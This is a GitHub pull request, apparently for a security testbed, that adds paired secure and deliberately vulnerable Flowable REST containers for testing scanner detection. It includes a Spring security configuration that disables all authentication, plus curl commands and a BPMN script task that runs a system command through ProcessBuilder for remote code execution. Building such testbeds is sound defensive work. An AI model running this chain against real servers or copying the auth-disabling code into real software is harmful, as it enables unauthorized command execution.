-
Notifications
You must be signed in to change notification settings - Fork 46
PRP: Flowable Exposed UI RCE #156
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
devampkid
wants to merge
7
commits into
google:main
Choose a base branch
from
devampkid:flowable
base: main
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from all commits
Commits
Show all changes
7 commits
Select commit
Hold shift + click to select a range
c834301
Flowable exposed UI
devampkid 16062c1
minor: fix ports of curl cmds
devampkid 1124b31
add jsScript.bpmn
devampkid 1a54d32
finished the setup
devampkid cc28000
updated README.md contains both secure and vulnerable setup instructions
devampkid f62b284
instead of a reverse proxy which removes authentication, we skip the …
devampkid 69af0e7
Update flowable/exposed_ui/SecurityConfiguration.java
devampkid File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,19 @@ | ||
| FROM eclipse-temurin:21-jdk AS builder | ||
|
|
||
| # Copy the Flowable REST app libs for compilation classpath | ||
| COPY --from=flowable/flowable-rest /app/WEB-INF/lib /libs | ||
| COPY --from=flowable/flowable-rest /app/WEB-INF/classes /classes | ||
|
|
||
| # Copy our replacement SecurityConfiguration | ||
| COPY SecurityConfiguration.java /src/SecurityConfiguration.java | ||
|
|
||
| # Compile the replacement SecurityConfiguration against the app's classpath | ||
| RUN javac -cp "/libs/*:/classes" \ | ||
| -d /output \ | ||
| /src/SecurityConfiguration.java | ||
|
|
||
| FROM flowable/flowable-rest | ||
|
|
||
| # Replace the original SecurityConfiguration with our permit-all version | ||
| COPY --from=builder /output/org/flowable/rest/conf/SecurityConfiguration.class \ | ||
| /app/WEB-INF/classes/org/flowable/rest/conf/SecurityConfiguration.class |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,40 @@ | ||
| # Setup secure and vulnerable Flowable instances | ||
| ```bash | ||
| docker compose up | ||
| ``` | ||
|
|
||
| ## Test Secure Instance | ||
| The secure instance requires basic authentication (default credentials: `rest-admin:test`): | ||
| ```bash | ||
| # Without credentials — should return 401 Unauthorized | ||
| curl -s -o /dev/null -w "%{http_code}" http://localhost:8080/flowable-rest/service/repository/deployments | ||
| # Expected: 401 | ||
|
|
||
| # With credentials — should return 200 OK | ||
| curl -v -u rest-admin:test http://localhost:8080/flowable-rest/service/repository/deployments | ||
| # Expected: HTTP/1.1 200 with http response contains a json | ||
| ``` | ||
|
|
||
| ## Test Vulnerable Instance | ||
| The vulnerable instance has basic authentication disabled: | ||
| ```bash | ||
| # Without credentials — should return 200 OK (no auth required) | ||
| curl -v http://localhost:8081/flowable-rest/service/repository/deployments | ||
| # Expected: HTTP/1.1 200 | ||
| ``` | ||
|
|
||
| # How to Exploit the Exposed UI (on Vulnerable Instance) | ||
| ```bash | ||
| curl -X POST \ | ||
| 'http://localhost:8081/flowable-rest/service/repository/deployments' \ | ||
| -H 'Content-Type: multipart/form-data' \ | ||
| -F 'file=@jsScript.bpmn' | ||
|
|
||
| curl -X POST \ | ||
| 'http://localhost:8081/flowable-rest/service/runtime/process-instances' \ | ||
| -H 'Content-Type: application/json' \ | ||
| -d '{ | ||
| "processDefinitionKey": "jsScriptProcess" | ||
| }' | ||
| ``` | ||
| Look for the `"variables":[{"name":"commandOutput","type":"string","value":"` at output of the last command. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,41 @@ | ||
| /* | ||
| * Copyright 2026 Google LLC | ||
| * | ||
| * Modified from the original version to remove authentication checks | ||
| * | ||
| * Licensed under the Apache License, Version 2.0 (the "License"); | ||
| * you may not use this file except in compliance with the License. | ||
| * You may obtain a copy of the License at | ||
| * | ||
| * http://www.apache.org/licenses/LICENSE-2.0 | ||
| * | ||
| * Unless required by applicable law or agreed to in writing, software | ||
| * distributed under the License is distributed on an "AS IS" BASIS, | ||
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
| * See the License for the specific language governing permissions and | ||
| * limitations under the License. | ||
| * | ||
| */ | ||
| package org.flowable.rest.conf; | ||
devampkid marked this conversation as resolved.
Show resolved
Hide resolved
|
||
|
|
||
| import org.springframework.context.annotation.Bean; | ||
| import org.springframework.context.annotation.Configuration; | ||
| import org.springframework.security.config.annotation.web.builders.HttpSecurity; | ||
| import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; | ||
| import org.springframework.security.web.SecurityFilterChain; | ||
|
|
||
| @Configuration | ||
| @EnableWebSecurity | ||
| public class SecurityConfiguration { | ||
|
|
||
| @Bean | ||
| public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception { | ||
| http | ||
| .authorizeHttpRequests(authorize -> authorize | ||
| .anyRequest().permitAll() | ||
| ) | ||
| .csrf(csrf -> csrf.disable()) | ||
| .httpBasic(basic -> basic.disable()); | ||
| return http.build(); | ||
| } | ||
| } | ||
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,22 @@ | ||
| version: '3' | ||
|
|
||
| services: | ||
| flowable-secure: | ||
| image: flowable/flowable-rest | ||
| container_name: flowable-rest-secure | ||
| ports: | ||
| - "8080:8080" | ||
| networks: | ||
| - flowable-network | ||
|
|
||
| flowable-vulnerable: | ||
| build: . | ||
| container_name: flowable-rest-vulnerable | ||
| ports: | ||
| - "8081:8080" | ||
| networks: | ||
| - flowable-network | ||
|
|
||
| networks: | ||
| flowable-network: | ||
| driver: bridge |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,30 @@ | ||
| <?xml version="1.0" encoding="UTF-8"?> | ||
| <definitions xmlns="http://www.omg.org/spec/BPMN/20100524/MODEL" | ||
| xmlns:flowable="http://flowable.org/bpmn" | ||
| targetNamespace="Examples"> | ||
|
|
||
| <process id="jsScriptProcess" name="JavaScript Script Process"> | ||
| <startEvent id="start" /> | ||
| <sequenceFlow sourceRef="start" targetRef="scriptTask" /> | ||
| <scriptTask id="scriptTask" name="Execute Command via JavaScript" | ||
| scriptFormat="javascript" | ||
| flowable:autoStoreVariables="true"> | ||
| <script> | ||
| var ProcessBuilder = Java.type('java.lang.ProcessBuilder'); | ||
| var Arrays = Java.type('java.util.Arrays'); | ||
| var Scanner = Java.type('java.util.Scanner'); | ||
|
|
||
| var processBuilder = new ProcessBuilder(Arrays.asList('uname', '-a')); | ||
| var process = processBuilder.start(); | ||
|
|
||
| var scanner = new Scanner(process.getInputStream()).useDelimiter("\\A"); | ||
| var result = scanner.hasNext() ? scanner.next() : ""; | ||
|
|
||
| execution.setVariable('commandOutput', result); | ||
| </script> | ||
| </scriptTask> | ||
| <sequenceFlow sourceRef="scriptTask" targetRef="end" /> | ||
| <endEvent id="end" /> | ||
| </process> | ||
|
|
||
| </definitions> |
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@tooryx is disabling authentication by replacing the spring security configuration or by adding a reverse proxy okay? The original PRP said that authentication was not required, and it is possible to configure this without authentication, but not very easy as with some other services where it's simply editing a configuration value or missing authentication by default. google/tsunami-security-scanner-plugins#675
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Good for me